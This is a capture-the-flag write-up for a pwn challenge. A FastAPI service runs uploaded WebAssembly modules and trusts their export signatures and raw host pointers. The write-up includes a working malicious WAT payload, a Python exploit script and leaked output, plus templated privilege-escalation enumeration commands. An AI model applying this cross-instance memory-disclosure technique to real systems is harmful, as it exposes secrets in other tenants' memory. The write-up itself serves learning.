← Back to Writeups
HTBN/APwn

Goliath

XESXOR8/23/20265 min read
#pwn#htb#n/a

Goliath

Platform: Avitoctf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-18 | Status: Solved Techniques: cross_instance_memory_disclosure, host_pointer_out_of_bounds_read, unchecked_wasm_export_signature

Summary

Task: A FastAPI host runs trusted and uploaded WASM modules while trusting their exported pointers and signatures. Solution: Return an i64 host-pointer offset from malicious WASM to disclose the trusted module's initialized flag buffer.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260718_avitoctf_goliath
  • Tags: python, wasm, wasmtime, ctypes, out_of_bounds_read
  • Indicators: raw memory.data_ptr cached as a ctypes pointer, unvalidated fen_buffer and best_move export signatures, trusted fen_buf initialized with FLAG at offset 0x430, Wasmtime 45 memories separated by 0x104000000
  • Source: 20260718_avitoctf_goliath.md

Foothold

Vulnerability / Misconfiguration

  1. Cross_instance_memory_disclosure
  2. Host_pointer_out_of_bounds_read
  3. Unchecked_wasm_export_signature
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • cross_instance_memory_disclosure
  • host_pointer_out_of_bounds_read
  • unchecked_wasm_export_signature
  • Tags: python, wasm, wasmtime, ctypes, out_of_bounds_read

Original Writeup

<details><summary>Click to expand original content</summary>

Author: David

Description

Медоеды ворвались в улей за мёдом. Пчёлы переглянулись: «— Выставляйте самого умного». Добудьте секрет умнейшей пчелы напрямую из её памяти.

The service runs a trusted chess engine called Bee and lets us upload an arbitrary import-free WebAssembly module as Badger. The goal is to read Bee's secret directly from its memory.

Analysis

Unsafe host wrapper

At startup, FastAPI creates the trusted Bee player first. An uploaded module is instantiated later as Badger. Player caches a raw ctypes pointer to each module's linear memory and obtains three exports by name, but never validates the function signatures:

self.__memory = self.__exports["memory"].data_ptr(self.__store)
self.__fen_buffer = self.__exports["fen_buffer"]
self.__best_move = self.__exports["best_move"]

The wrapper then treats both attacker-controlled return values as indexes into that raw host pointer:

fen_buffer = self.__fen_buffer(self.__store)
for i, b in enumerate(data):
    self.__memory[fen_buffer + i] = b

ptr = self.__best_move(self.__store)
while b := self.__memory[ptr + len(move)]:
    move.append(b)

These are ctypes pointer operations, not WebAssembly loads or stores. Consequently, Wasmtime's linear-memory bounds checks do not protect them. Python keeps indexing host virtual memory until it reaches a NUL byte.

Location of the secret

The trusted wrapper initializes its static 256-byte FEN buffer from the compile-time FLAG macro:

static char fen_buf[256] = FLAG;

In the supplied Bee module, fen_buf is at linear-memory offset 0x430. The provided Makefile uses a local placeholder:

FLAG := \"avito{REDACTED}\"

Cross-instance address calculation

With Wasmtime 45's default allocator on the challenge Linux image, the modules receive deterministic consecutive reservations:

Bee base - Badger base = 0x104000000

This is 4 GiB of wasm32 address space plus a 64 MiB guard. Therefore, from Badger's cached base pointer, Bee's secret is located at:

0x104000000 + 0x430 = 0x104000430

An ordinary wasm32 pointer returned as i32 cannot represent this displacement: it exceeds the 32-bit range. Negative signed-i32 indexing is accepted by ctypes, but it still cannot cover this allocation gap. The crucial second bug is that the host never checks that best_move has the expected () -> i32 signature. We can export it as () -> i64 and return the complete 0x104000430 displacement.

Meanwhile, fen_buffer() returns i32 0, so the host safely writes the supplied black-side FEN into Badger's own committed memory before performing the disclosure.

Solution

Malicious WAT module

This is the exact payload used:

(module
  ;; Keep the same unbounded wasm32 memory shape as the trusted module.  With
  ;; Wasmtime 45's default Linux allocator the second reservation starts
  ;; 0x104000000 bytes below the first one (4 GiB + 64 MiB guard).
  (memory (export "memory") 1)

  ;; Player.best_move writes the black FEN here.  Offset zero is committed and
  ;; does not overlap the trusted instance.
  (func (export "fen_buffer") (result i32)
    i32.const 0)

  ;; The wrapper does not validate the export signature.  Returning i64 avoids
  ;; the signed-i32 range limit and points at Bee's fen_buf:
  ;;   bad_base + 0x104000000 + 0x430 == bee_base + 0x430
  (func (export "best_move") (result i64)
    i64.const 0x104000430)
)

It compiles to an 83-byte badger.wasm.

Exploit script

The exploit compiles the WAT, uploads it, and requests a move with Black active so FastAPI selects BADGER_PLAYER:

#!/usr/bin/env python3
import argparse
import json
import urllib.parse
import urllib.request
from pathlib import Path

from wasmtime import wat2wasm

HERE = Path(__file__).resolve().parent
FEN = "8/8/8/8/8/8/8/8 b - - 0 1"


def multipart_wasm(wasm: bytes):
    boundary = "----goliathbadger"
    body = (
        f"--{boundary}\r\n"
        'Content-Disposition: form-data; name="file"; filename="badger.wasm"\r\n'
        "Content-Type: application/wasm\r\n\r\n"
    ).encode() + wasm + f"\r\n--{boundary}--\r\n".encode()
    return body, f"multipart/form-data; boundary={boundary}"


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("url", help="service base URL")
    parser.add_argument("--write", metavar="PATH")
    args = parser.parse_args()

    wasm = wat2wasm((HERE / "badger.wat").read_text())
    if args.write:
        Path(args.write).write_bytes(wasm)

    base = args.url.rstrip("/")
    body, content_type = multipart_wasm(wasm)
    request = urllib.request.Request(
        base + "/api/upload",
        data=body,
        headers={"Content-Type": content_type},
        method="POST",
    )
    with urllib.request.urlopen(request) as response:
        print("upload:", response.read().decode())

    query = urllib.parse.urlencode({"fen": FEN})
    with urllib.request.urlopen(base + "/api/best-move?" + query) as response:
        result = json.load(response)
    print("leak:", result["best_move"])


if __name__ == "__main__":
    main()

Usage against a local copy:

python3 exploit.py http://127.0.0.1:8000 --write badger.wasm

The locally verified result was:

upload: {"status":"ok","bytes":83}
leak: avito{REDACTED}

An in-process check also measured the exact allocator delta before leaking:

bee_ptr = ctypes.addressof(app.BEE_PLAYER._Player__memory.contents)
badger_ptr = ctypes.addressof(badger._Player__memory.contents)
assert bee_ptr - badger_ptr == 0x104000000
assert badger.best_move(FEN) == "avito{REDACTED}"

Failed Paths

  • Reading /flag through WASI or filesystem APIs is impossible because uploaded modules are instantiated with imports=[] and receive no WASI capabilities.
  • Direct cross-memory indexing with a signed i32 cannot span the 0x104000000 gap. The unchecked i64 return type is necessary.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR